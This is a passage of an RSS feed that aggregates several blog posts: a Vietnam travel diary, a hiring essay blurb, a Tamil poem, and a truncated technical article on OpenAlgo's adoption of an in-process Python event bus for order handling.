<p>Here, I also had egg coffee for the first time, and I liked it. Egg coffee is a delicacy of Hanoi, but you can get it in other parts of Vietnam. If you find yourself in Vietnam, then I recommend you try egg coffee. We also bought some cool T-shirts and other souvenirs, such as a Vietnamese hat, from here.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/egg-coffee-hoi-an.avif"
    alt="Egg coffee I had in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Egg coffee I had in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<h2 id="hue">Hue</h2>
<p>The next day—the 18th of December 2024—we went to Hue by bus. As we could not take a bus on our own in Nha Trang, we asked the hostel to book it for us this time. We booked it a day before, and they told us to be ready by 07:00 in the morning. At 07:00, a minibus arrived, which took us to a bus agency&rsquo;s office. There we waited for a few minutes and got into the bus to Hue.</p>
<p>The bus had sleeper seats, so I took the opportunity to catch some sleep. The ride was comfortable, so I am assuming the roads were good. In a couple of hours, we reached Hue. Again, we went to Highlands Coffee to have some coffee, charge our phones, and use the internet, not to mention using the bathrooms.</p>
<p>During the afternoon, we went to a local restaurant named <em>Quán Chay Thanh Liễu</em>. It was a vegan restaurant (remember the thing I mentioned earlier about &ldquo;Chay&rdquo; being in the name?). On the way, we had a steamed dumpling shaped like a momo called banh bao from a street vendor. It wasn&rsquo;t very good, but I found it worthwhile.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/banh-bao.avif"
    alt="Bahn Bao in Hue. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Bahn Bao in Hue. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>At the restaurant, we ordered a hot pot. First, they brought noodles and a gas stove. Then came the stock and our gas stove was turned on. The stock was kept simmering on the stove. Then, we had it bit by bit with the noodles. A big hot pot at this place costs 50,000 dongs (₹170). Then we had <em>bánh cuốn</em>. These were steamed rolls made of rice flour for 10,000 dongs (₹33).</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/hot-pot.avif"
    alt="Hot Pot. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Hot Pot. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/Noodles-in-bowl-hue.avif"
    alt="Added soup to the noodles. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Added soup to the noodles. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/steamed-rolls.avif"
    alt="Steamed rolls made of rice flour. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Steamed rolls made of rice flour. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Restaurants in Vietnam usually add photos of the meals in their menu or write a description in English. So, even though the dish names were Vietnamese, we had no problems in ordering food there. In addition, all the places we went to provided free Wi-Fi. They either mention the Wi-Fi password on the bill, on the menu or paste it on the wall. This made our trip smoother without getting a local SIM.</p>
<p><figure><img src="https://ravidwivedi.in/images/vietnam/restaurant-menu.avif"
    alt="Menu from a restaurant in Ho Chi Minh City with detailed description of the food. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Menu from a restaurant in Ho Chi Minh City with detailed description of the food. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

Then we slowly walked towards the railway station, as we had a night train to Hanoi. We had egg coffee in a cafe. Near the railway station, we had a bánh mì (egg sandwich). As for sightseeing, we had plans to visit a couple of places in Hue, but we ended up spending all our time inside sheltered spaces due to heavy rain.</p>
<p>We had booked the train SE20 for Hanoi, which had a departure time of 20:41 from Hue. This one was 948,000 dongs (₹3100) for myself and 870,000 dongs (₹2900) for Badri. My ticket was pricier than Badri&rsquo;s because I got a lower berth. Our train was late by half an hour, so we waited in the common area of the station. After the train arrived, we got inside and took our seats.</p>
<p>The cabin had four berths—two upper and two lower, similar to India&rsquo;s First AC class. The ticket inspector came to us and offered us the whole cabin (two additional berths) for 300,000 dongs (₹1,000), which we declined. However, this hinted at the other two seats not being reserved. Eventually, we had the whole cabin to ourselves, as nobody else showed up for the other two berths. It was a 14-hour journey, and I got a good sleep.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/train-to-hanoi.avif"
    alt="Our berths in the train. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Our berths in the train. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<h2 id="hanoi">Hanoi</h2>
<p>On the morning of the 19th of December 2024, we reached Vietnam&rsquo;s capital, Hanoi. We had booked a private hotel room for ₹800. It was 1 km from the Hanoi Airport. However, it was pretty far from the railway station. So, we roamed around in the city and went to the hotel in the evening.</p>
<p>First, we walked to a place and had egg coffee with egg sandwiches. Then we went to Hanoi Train Street, which was walking distance from the train station. After clicking some pictures at the train street, we went to a museum nearby. Upon reaching there, we found out that it was closed.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/egg-coffee-hanoi.avif"
    alt="Egg coffee in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Egg coffee in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/hanoi-train-street.avif"
    alt="Hanoi train street is a tourist attraction in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Hanoi train street is a tourist attraction in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Then we went shopping for jackets, as Hanoi was cold compared to other parts of Vietnam we had been to, and since many of them are manufactured in Vietnam, we thought they would be cheaper. I liked some jackets, but they were not my size. Eventually, we didn&rsquo;t buy anything at the clothes shop.</p>
<p>In the evening, I bought a Vietnamese-styled phin coffee filter and coffee powder from Highlands Coffee. We spent a lot of time in their cafes, so it made sense to buy some souvenirs from there. Badri bought a few coffee filters for his family at Trung Nguyen, where I also bought another filter.</p>
<p>We had dinner at a local place where we had pho and banh it. Bahn it was served packed in banana leaves and it was made of sticky rice.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/pho-hanoi.avif"
    alt="A picture of pho we had in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>A picture of pho we had in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/banh-it1.avif"
    alt="Bahn it is served packed in banana leaves. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Bahn it is served packed in banana leaves. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/banh-it2.avif"
    alt="Bahn it. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Bahn it. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Next, we went to Hanoi railway station to catch a bus to the airport since our hotel was 1 km from the airport. The locals there helped us take the bus. It took like an hour to get to the airport. We saw on OpenStreetMap that we can take a bus from there to the hotel, but we could not find it. So we walked to our hotel instead.</p>
<p>It was a decent hotel room for ₹800 for a night. We went outside to explore the area and had egg sandwiches and egg coffee at a local place. Again, we were given a complimentary green tea. We went to this place like three times. We had practically become regulars by the time we left.</p>
<p>The next day— 20th of December 2024 — we took a bus to the airport and boarded our flight to Delhi.</p>
<p><strong>Credits: Thanks Badri, Kishy and Richard for proofreading.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Side-stepping the Secretary Problem, unwittingly.]]></title>
            <link>https://www.evalapply.org/posts/side-step-secretary-problem-hiring/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/side-step-secretary-problem-hiring/index.html</guid>
            <pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Having played both parts in the kabuki play that is employee-employer matchmaking, I feel the way we play it is a zero-sum game. I wish it were not so. When this post started life in 2024, as a wall of text chat message, it was brutal out there, on both sides of the software industry interview table. The ZIRP had ended. As of 2026, post-ZIRP reality has properly set in and remains bad ("AI" is a Fig Leaf (Enterprise Edition) for structural damage they self-inflicted, and if you look at Hyperscaler GPU depreciation schedules, they are making it order-of-magnitude worse). Set to that backdrop, here is a hopefully hopeful hiring anecdote where I think we avoided the so-called "Secretary Problem", framed within Optimal Stopping Theory. It can be done. Non-zero-sum hiring ought to be default-mode for any industry, AI or no AI.]]></description>
            <content:encoded><![CDATA[Having played both parts in the kabuki play that is employee-employer matchmaking, I feel the way we play it is a zero-sum game. I wish it were not so. When this post started life in 2024, as a wall of text chat message, it was brutal out there, on both sides of the software industry interview table. The ZIRP had ended. As of 2026, post-ZIRP reality has properly set in and remains bad ("AI" is a Fig Leaf (Enterprise Edition) for structural damage they self-inflicted, and if you look at Hyperscaler GPU depreciation schedules, they are making it order-of-magnitude worse). Set to that backdrop, here is a hopefully hopeful hiring anecdote where I think we avoided the so-called "Secretary Problem", framed within Optimal Stopping Theory. It can be done. Non-zero-sum hiring ought to be default-mode for any industry, AI or no AI.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>riff</category>
            <category>organisation_design</category>
            <category>hiring</category>
            <category>clojure</category>
            <category>culture</category>
            <category>whyto</category>
            <category>meta</category>
        </item>
        <item>
            <title><![CDATA[கதையிலிருந்து பிறந்த கவிதை]]></title>
            <link>https://programmerlife1.wordpress.com/2026/03/16/quote-born-from-story/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2026/03/16/quote-born-from-story/</guid>
            <pubDate>Mon, 16 Mar 2026 18:49:55 GMT</pubDate>
            <description><![CDATA[வேண்டும் வேண்டும் என வேண்டும் 🙏வெற்றிகள்என்னிடம் போதும் போதும் என கூறும் தோல்விகள்சிறுசிறு வெற்றிக்கும் மகிழ்ச்சி அடைந்தேன் அன்றுதினமும் மூன்று...கிடைக்குமா? சற்று பார்ப்போம் முயன்று 💪தீராக் காதல் அதீத அன்பினால் தினமும் மோதல்போதும் எல்லாம் என்று முடிக்கையில் மீண்டும் பூக்கும் சிறு காதல்ஊடலும் முடியவில்லை கோபமும் குறையவில்லைமுயற்சி செய்கிறேன் அமைதியாக! சந்தேகங்கள் எழாமலில்லைமதிமுகம் காணவந்தவன் நிம்மதி தேடியே அலைகிறேன்விதை விதைக்கையில் மரம் தழைக்குமா யோசிக்கிறேன்பிடித்ததை செய்கையில் பித்துப் பிடித்து போகிறதுகதையை முடிக்க செல்கையில் கவிதையோ தொடங்குகிறது -- […]]]></description>
            <content:encoded><![CDATA[<figure class="wp-block-post-featured-image"><img width="1024" height="683" src="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=1024" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" style="object-fit:cover;" srcset="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=1024 1024w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=150 150w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=300 300w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=768 768w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=1440 1440w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png 1536w" sizes="(max-width: 1024px) 100vw, 1024px" data-attachment-id="743" data-permalink="https://programmerlife1.wordpress.com/2026/03/16/quote-born-from-story/quote-feature-image/" data-orig-file="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png" data-orig-size="1536,1024" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="quote-born-from-story" data-image-description="" data-image-caption="" data-large-file="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png?w=1024" /></figure>


<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"></blockquote>



<pre class="wp-block-preformatted">வேண்டும் வேண்டும் என வேண்டும் <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f64f.png" alt="🙏" class="wp-smiley" style="height: 1em; max-height: 1em;" />வெற்றிகள்<br>என்னிடம் போதும் போதும் என கூறும் தோல்விகள்<br><br>சிறுசிறு வெற்றிக்கும் மகிழ்ச்சி அடைந்தேன் அன்று<br>தினமும் மூன்று...கிடைக்குமா? சற்று பார்ப்போம் முயன்று <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f4aa.png" alt="💪" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br><br>தீராக் காதல் அதீத அன்பினால் தினமும் மோதல்<br>போதும் எல்லாம் என்று முடிக்கையில் மீண்டும் பூக்கும் சிறு காதல்<br><br>ஊடலும் முடியவில்லை கோபமும் குறையவில்லை<br>முயற்சி செய்கிறேன் அமைதியாக! சந்தேகங்கள் எழாமலில்லை<br><br>மதிமுகம் காணவந்தவன் நிம்மதி தேடியே அலைகிறேன்<br>விதை விதைக்கையில் மரம் தழைக்குமா யோசிக்கிறேன்<br><br>பிடித்ததை செய்கையில் பித்துப் பிடித்து போகிறது<br>கதையை முடிக்க செல்கையில் கவிதையோ தொடங்குகிறது<br><br>                   -- -- <br>எழுத்து : ஹரிஹரன் உமாபதி<br>வரைகலை: செய்யறிவு மற்றும் கிம்ப்(Gimp)<br> </pre>
]]></content:encoded>
            <author>Hariharan</author>
            <category>raw-quotes</category>
            <enclosure url="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/quote-feature-image.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Event Driven Architecture in Algo Trading Platform]]></title>
            <link>https://openalgo.medium.com/event-driven-architecture-in-algo-trading-platform-3a2957ff11a6?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/event-driven-architecture-in-algo-trading-platform-3a2957ff11a6?source=rss-cda86e929c3------2</guid>
            <pubDate>Sun, 15 Mar 2026 14:30:33 GMT</pubDate>
            <content:encoded><![CDATA[<p>You place a basket order, 4 legs of an iron condor, and your phone buzzes four times with individual alerts before a summary arrives. You close a position in the Analyzer and get no confirmation at all. You check the order log and find 21 entries for what should have been a single basket.</p><p>These are not random bugs. They are symptoms of an architectural pattern that every trading platform eventually outgrows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2JCA9A0Erd4-iV7DvOrwg.png" /></figure><p>This is the story of how OpenAlgo adopted event driven architecture, what it is, why algorithmic trading platforms need it, and what it unlocks for strategy level position tracking, risk management, and beyond.</p><h3>What Is Event Driven Architecture?</h3><p>Let us start with an analogy every trader understands.</p><h3>The Trading Floor Analogy</h3><p>Imagine a trading floor in the 1980s. A floor trader executes a buy order, then personally walks to the risk desk to report it, then walks to the settlement desk, then calls the back office, then updates the position board.</p><p>If the risk desk is on a coffee break, the trader stands there waiting. The settlement desk does not get the information until the risk desk conversation is done. If the trader forgets to update the position board, which happens when things get hectic, nobody notices until reconciliation.</p><p>Now imagine a modern electronic exchange. The trader submits the order. The exchange publishes a fill message to the wire. The risk system reads it. The settlement system reads it. The position board reads it. The compliance system reads it. Each one independently, simultaneously, without knowing about the others.</p><p>The trader does not walk to five desks. The trader announces “this happened” once. Everyone who cares is listening.</p><p><strong>That is event driven architecture.</strong></p><h3>The Two Models</h3><p><strong>Direct calls, request response:</strong></p><pre>Order Service -&gt; calls Logger<br>             -&gt; calls Dashboard<br>             -&gt; calls Telegram<br>             -&gt; calls Risk Monitor</pre><p>The order service knows about every consumer. Adding a new one means editing the order service. If one consumer is slow, it slows down everyone after it. If one crashes, the chain breaks.</p><p><strong>Event driven, publish subscribe:</strong></p><pre>Order Service -&gt; publishes &quot;order.placed&quot; event<br>                    |<br>         |----------|----------|----------|<br>         v          v          v          v<br>      Logger    Dashboard   Telegram   Risk Monitor</pre><p>The order service does not know who is listening. Each consumer subscribes independently. Adding a new one requires zero changes to the order service. If Telegram is down, the logger and dashboard still work. If you add a risk monitor next month, you do not touch a single line of order code.</p><p>The technical term for this is <strong>decoupling</strong>, and for trading systems, it is not a nice to have. It is essential.</p><h3>Why Algo Trading Platforms Need Event Driven Architecture</h3><p>Trading platforms are not typical web apps. The order pipeline has unique properties that make direct function calls progressively more painful as the system grows.</p><h3>1. The Order Pipeline Touches Everything</h3><p>When an order is placed, the entire system needs to know:</p><ul><li><strong>The database</strong> needs to log it, for audit trails and compliance</li><li><strong>The dashboard</strong> needs to refresh, so you see the result instantly</li><li><strong>Your phone</strong> needs to buzz, Telegram or WhatsApp alert</li><li><strong>The position tracker</strong> needs to update, so you know what you hold</li><li><strong>The risk engine</strong> needs to check, are you exceeding exposure limits</li><li><strong>The P &amp; L calculator</strong> needs to recalculate, real time profit and loss</li><li><strong>The analytics engine</strong> needs to record, win rate, average trade, drawdown</li></ul><p>That is seven consumers for a single order event. Wire them directly, and your order function becomes a 200 line monster that imports half the codebase. Event driven architecture lets the order function stay clean: place the order, announce what happened, return the result. Seven consumers handle the rest.</p><h3>2. Your Broker Drops Your Strategy Identity</h3><p>This is a problem unique to Indian markets and algo platforms like OpenAlgo.</p><p>When you send an order to Zerodha, Angel One, Fyers, Dhan, or any Indian broker, you include a strategy field, &quot;Iron Condor&quot;, &quot;Momentum Scanner&quot;, &quot;Mean Revert&quot;. <strong>The broker ignores it.</strong> It does not store it. It does not return it.</p><p>When you later ask the broker for your positions:</p><pre>NIFTY: +65 lots<br>SBIN: +100 shares</pre><p>Which strategy holds those? If you are running “Momentum” with +100 SBIN and “Mean Revert” with 50 SBIN short, the broker shows you +50 SBIN. The per strategy breakdown is gone.</p><p><strong>The only moment you can capture which strategy owns which order is at placement time.</strong> After that, the strategy tag disappears at the broker boundary forever.</p><p>Event driven architecture captures that moment. Every order event carries the strategy name. Any system that subscribes, position tracker, risk manager, analytics, gets the strategy identity preserved.</p><h3>3. Live Trading and Sandbox Trading Must Behave Identically</h3><p>Every serious algo trader tests strategies in a sandbox before going live. OpenAlgo’s Analyzer mode provides <a href="https://blog.openalgo.in/understanding-openalgo-sandbox-mode-your-risk-free-testing-ground-for-algorithmic-trading-ce4ab18f690b">sandbox trading</a> with sandbox capital.</p><p>But here is the challenge: when the same order function handles both live and sandbox mode, the side effects need to differ:</p><p><strong>Live mode</strong></p><ul><li>Log destination: order_logs table</li><li>Dashboard event: order_event</li><li>Telegram prefix: LIVE MODE, Real Order</li></ul><p><strong>Sandbox mode</strong></p><ul><li>Log destination: analyzer_logs table</li><li>Dashboard event: analyzer_update</li><li>Telegram prefix: ANALYZE MODE, No Real Order</li></ul><p>With direct calls, you need if branches for every side effect in every order service. With event driven architecture, the event carries a mode field, and each subscriber knows what to do:</p><pre>if event.mode == &quot;analyze&quot;:<br>    # sandbox path<br>else:<br>    # live path</pre><p>One check per subscriber, not per service. The order service simply sets the mode and publishes.</p><h3>4. Batch Orders Need Different Notification Semantics</h3><p>A single order needs one notification. A basket of 20 orders needs one summary notification, not 20 individual ones. A split order breaking 1000 shares into 50 share chunks needs a summary, not 20 alerts.</p><p>With direct calls, every batch service has to manually suppress per order notifications and emit its own summary, a pattern that is easy to get wrong. With events, the batch service publishes one BasketCompletedEvent at the end. Individual sub orders publish nothing. The notification logic lives in one place.</p><h3>5. Failure Isolation Is Critical When Money Is Involved</h3><p>If Telegram’s API is slow and your notification call is inline with order placement, one of two things happens:</p><ul><li>The order response is delayed while waiting for Telegram, bad for latency</li><li>The Telegram call fails, and depending on your error handling, the error might propagate up and make it look like the order failed, catastrophic for trust</li></ul><p>Event driven architecture isolates failures by design. Each subscriber runs independently. Telegram is down? The Telegram subscriber logs an error. Your order still gets logged. Your dashboard still updates. Your position tracker still records the trade. <strong>No single subscriber failure can affect the order pipeline or any other subscriber.</strong></p><h3>How OpenAlgo Adopted Event Driven Architecture</h3><h3>What We Started With</h3><p>OpenAlgo supports ten order types: place order, smart order, basket order, split order, options order, multi leg options, modify, cancel, cancel all, and close position.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ODUU8ynUcE1MhnX4ve0fA.png" /></figure><p>Each service had three hardcoded side effects after every broker call:</p><pre># After the broker confirmed the order:<br>executor.submit(async_log_order, &quot;placeorder&quot;, request_data, response)      # Log it<br>socketio.start_background_task(socketio.emit, &quot;order_event&quot;, {...})         # Update dashboard<br>socketio.start_background_task(telegram_alert_service.send_order_alert, ...) # Alert phone</pre><p>These three lines, with variations, appeared in every order service, in every success path, every failure path, and every sandbox path. That is <strong>50 plus dispatch points across 18 files</strong>.</p><h3>The Bugs We Found</h3><ul><li><strong>Close Position in Analyzer mode</strong>: Dead if False: code block. Positions closed silently, no log, no Telegram, no dashboard update</li><li><strong>Modify and Cancel in Analyzer mode</strong>: Telegram alerts were skipped entirely, while live mode sent them</li><li><strong>Basket order with 20 legs</strong>: 21 Telegram alerts and 21 log entries instead of 1</li><li><strong>Options multi order in Analyzer</strong>: Emitted order_event, live mode event, instead of analyzer_update, confusing the Analyzer UI</li><li><strong>UI Close Position button</strong>: Called the broker directly, bypassing the service layer. No order was ever logged</li><li><strong>API key in error logs</strong>: On validation failures, the raw API key was written to the log database</li></ul><p>Every one of these bugs existed because side effects were scattered across files instead of centralized. No single file was “wrong”, the bugs emerged from inconsistencies between files.</p><h3>The Event Bus We Built</h3><p>We built a lightweight, in process event bus in about 60 lines of Python. No Redis. No Kafka. No external infrastructure.</p><p><strong>How it works:</strong></p><ol><li><strong>Order services publish typed events</strong>: OrderPlacedEvent, BasketCompletedEvent, OrderCancelledEvent, and others. Each event carries the mode, live or analyze, the strategy name, the request and response data, and the API key for notifications.</li><li><strong>The event bus routes by topic</strong>: Topics like &quot;order.placed&quot;, &quot;basket.completed&quot;, &quot;order.cancelled&quot; determine which subscribers receive the event.</li><li><strong>Subscribers handle one concern each:</strong></li></ol><ul><li><strong>Log subscriber</strong>: Writes to order_logs, live, or analyzer_logs, analyze</li><li><strong>SocketIO subscriber</strong>: Emits the correct dashboard event, 8 different event names depending on operation and mode</li><li><strong>Telegram subscriber</strong>: Sends formatted alerts with detailed order information</li></ul><ol><li><strong>Everything is async and isolated</strong>: A shared thread pool dispatches callbacks. One subscriber crashing does not affect the others.</li></ol><h3>Before and After</h3><p><strong>Before</strong>, the order service imported and called three systems directly:</p><pre># place_order_service.py (old)<br>from database.apilog_db import async_log_order, executor<br>from extensions import socketio<br>from services.telegram_alert_service import telegram_alert_service</pre><pre>def place_order_with_auth(order_data, auth_token, broker, original_data):<br>    # ... broker call ...<br>    if res.status == 200:<br>        executor.submit(async_log_order, &quot;placeorder&quot;, request_data, response)<br>        socketio.start_background_task(socketio.emit, &quot;order_event&quot;, {...})<br>        socketio.start_background_task(telegram_alert_service.send_order_alert, ...)</pre><p><strong>After</strong>, one line, one event:</p><pre># place_order_service.py (new)<br>from events import OrderPlacedEvent<br>from utils.event_bus import bus</pre><pre>def place_order_with_auth(order_data, auth_token, broker, original_data):<br>    # ... broker call ...<br>    if res.status == 200:<br>        bus.publish(OrderPlacedEvent(<br>            mode=&quot;live&quot;,<br>            api_type=&quot;placeorder&quot;,<br>            strategy=order_data.get(&quot;strategy&quot;, &quot;&quot;),<br>            symbol=order_data[&quot;symbol&quot;],<br>            orderid=str(order_id),<br>            request_data=cleaned_request,<br>            response_data=response,<br>            api_key=api_key,<br>        ))</pre><p>The service does not know who listens. It does not import logging, SocketIO, or Telegram. It announces what happened and moves on.</p><h3>The Impact</h3><ul><li><strong>Side effect dispatch points</strong>: Before, 50 plus across 18 files. After, 15 bus.publish() calls across 10 services</li><li><strong>Files that know about logging</strong>: Before, 18. After, 1, log_subscriber.py</li><li><strong>Files that know about Telegram</strong>: Before, 12. After, 1, telegram_subscriber.py</li><li><strong>Files that know about SocketIO events</strong>: Before, 14. After, 1, socketio_subscriber.py</li><li><strong>Thread pools for side effects</strong>: Before, 3 pools, 25 threads. After, 1 pool, 10 threads</li><li><strong>Bugs from inconsistent side effects</strong>: Before, 6 known. After, 0</li></ul><h3>How Modularity Is Maintained</h3><p>The event bus enforces a clean separation of concerns through a simple rule: <strong>publishers do not know about subscribers, and subscribers do not know about each other.</strong></p><h3>The File Structure</h3><pre>Order Services (publishers)           Event Bus              Subscribers (consumers)<br>─────────────────────────             ─────────              ────────────────────────<br>services/place_order_service.py    |                    |  subscribers/log_subscriber.py<br>services/basket_order_service.py   |                    |  subscribers/socketio_subscriber.py<br>services/split_order_service.py    | -&gt; bus.publish() -&gt; |  subscribers/telegram_subscriber.py<br>services/options_multiorder_...    |                    |  subscribers/strategy_store.py (future)<br>services/cancel_order_service.py   |                    |  subscribers/risk_manager.py (future)<br>services/close_position_service.py |                    |</pre><p>Each column is independent. You can modify a subscriber without touching any service. You can add a service without touching any subscriber. The event bus in the middle is the only shared contract, and it is a 60 line class that never needs to change.</p><h3>The Contract: Typed Events</h3><p>Publishers and subscribers agree on the <strong>event schema</strong>, nothing else:</p><pre>@dataclass<br>class OrderPlacedEvent(OrderEvent):<br>    topic: str = &quot;order.placed&quot;<br>    mode: str = &quot;live&quot;          # &quot;live&quot; or &quot;analyze&quot;<br>    api_type: str = &quot;&quot;          # &quot;placeorder&quot;, &quot;basketorder&quot;, etc.<br>    strategy: str = &quot;&quot;<br>    symbol: str = &quot;&quot;<br>    exchange: str = &quot;&quot;<br>    action: str = &quot;&quot;            # &quot;BUY&quot; or &quot;SELL&quot;<br>    quantity: int = 0<br>    orderid: str = &quot;&quot;<br>    request_data: dict = {}     # for logging, apikey stripped<br>    response_data: dict = {}    # for logging<br>    api_key: str = &quot;&quot;           # for Telegram username resolution</pre><p>This is the contract. The publisher fills it. The subscriber reads it. They never import each other.</p><h3>Adding a New Consumer: One File, One Line</h3><p>Want to add a Discord notification alongside Telegram? Write a file, register it:</p><pre># subscribers/discord_subscriber.py<br>def on_order_placed(event):<br>    send_discord_webhook(f&quot;Order placed: {event.symbol} {event.action}&quot;)</pre><pre># subscribers/__init__.py, add one line:<br>bus.subscribe(&quot;order.placed&quot;, discord_subscriber.on_order_placed)</pre><p>No order service changes. No existing subscriber changes. No deployment coordination. This is the power of decoupling.</p><h3>The Future: Strategy Level Intelligence</h3><p>The event bus is not just a code cleanup. It is the foundation for features that were architecturally impossible with hardcoded side effects.</p><h3>Strategy Level Positions</h3><p>Today, OpenAlgo shows positions from the broker, account level, no strategy breakdown.</p><p><strong>Tomorrow</strong>, a new subscriber will listen to order events and maintain per strategy positions:</p><pre>Strategy: Iron Condor<br>  NIFTY30MAR2623650CE  BUY   +65  @ 120.50<br>  NIFTY30MAR2622650PE  BUY   +65  @ 95.30<br>  NIFTY30MAR2623400CE  SELL  -65  @ 155.20<br>  NIFTY30MAR2622900PE  SELL  -65  @ 110.80<br>  Net P&amp;L: +2,450</pre><pre>Strategy: Momentum Scanner<br>  SBIN      BUY  +100  @ 420.50   P&amp;L: +1,250<br>  RELIANCE  BUY  +50   @ 1305.00  P&amp;L: -430</pre><p>This is just a new subscriber reading order.placed events. The order services do not change.</p><h3>Strategy Level Orderbook and Tradebook</h3><p>The broker’s orderbook has no strategy column. But every order event carries the strategy field. A subscriber can write these to an internal table, giving you:</p><ul><li>Filter orders by strategy</li><li>See trade history per strategy</li><li>Know which strategy generated which fills</li></ul><h3>Strategy Level Risk Management</h3><p>With per strategy positions built from events, risk management becomes possible per strategy:</p><ul><li><strong>Stoploss per strategy</strong>: “Exit all Iron Condor legs if net P and L drops below 5,000 loss”</li><li><strong>Target per strategy</strong>: “Close Momentum positions at +2 percent return”</li><li><strong>Trailing stoploss per strategy</strong>: “Trail SBIN stop by 10 points as price rises”</li><li><strong>Max position size per strategy</strong>: “Momentum Scanner cannot hold more than 500 shares of any symbol”</li><li><strong>Daily loss limit per strategy</strong>: “If Mean Revert loses 10,000 in a day, stop trading”</li></ul><p>The risk manager subscribes to order events, to know what each strategy holds, and market data ticks, to monitor prices. When a limit is breached, it publishes a RiskExitEvent, which triggers an exit order through the same event bus.</p><h3>The Extensibility Pattern</h3><p>Every future feature follows the same three steps:</p><ol><li><strong>Create a new file</strong> in subscribers/</li><li><strong>Write handler functions</strong> that receive events</li><li><strong>Register them</strong> at startup, one line per topic</li></ol><p>No order service modified. No existing subscriber touched. No testing of unrelated code. This is modularity in practice, not as a principle on a whiteboard, but as a property of the running system.</p><h3>Why 60 Lines and Not Redis?</h3><p>OpenAlgo is designed for a single trader running on a laptop or a small VPS. It uses SQLite. It is a single process Python application.</p><p>Redis Streams gives you persistence, consumer groups, and multi instance coordination. Kafka gives you distributed processing across data centers. ZeroMQ, which OpenAlgo already uses for market data streaming, gives you cross process messaging.</p><p>None of these are needed for a single user platform with three subscribers.</p><p>The 60 line event bus does exactly three things:</p><ol><li><strong>Topic based routing</strong>: events go to the right 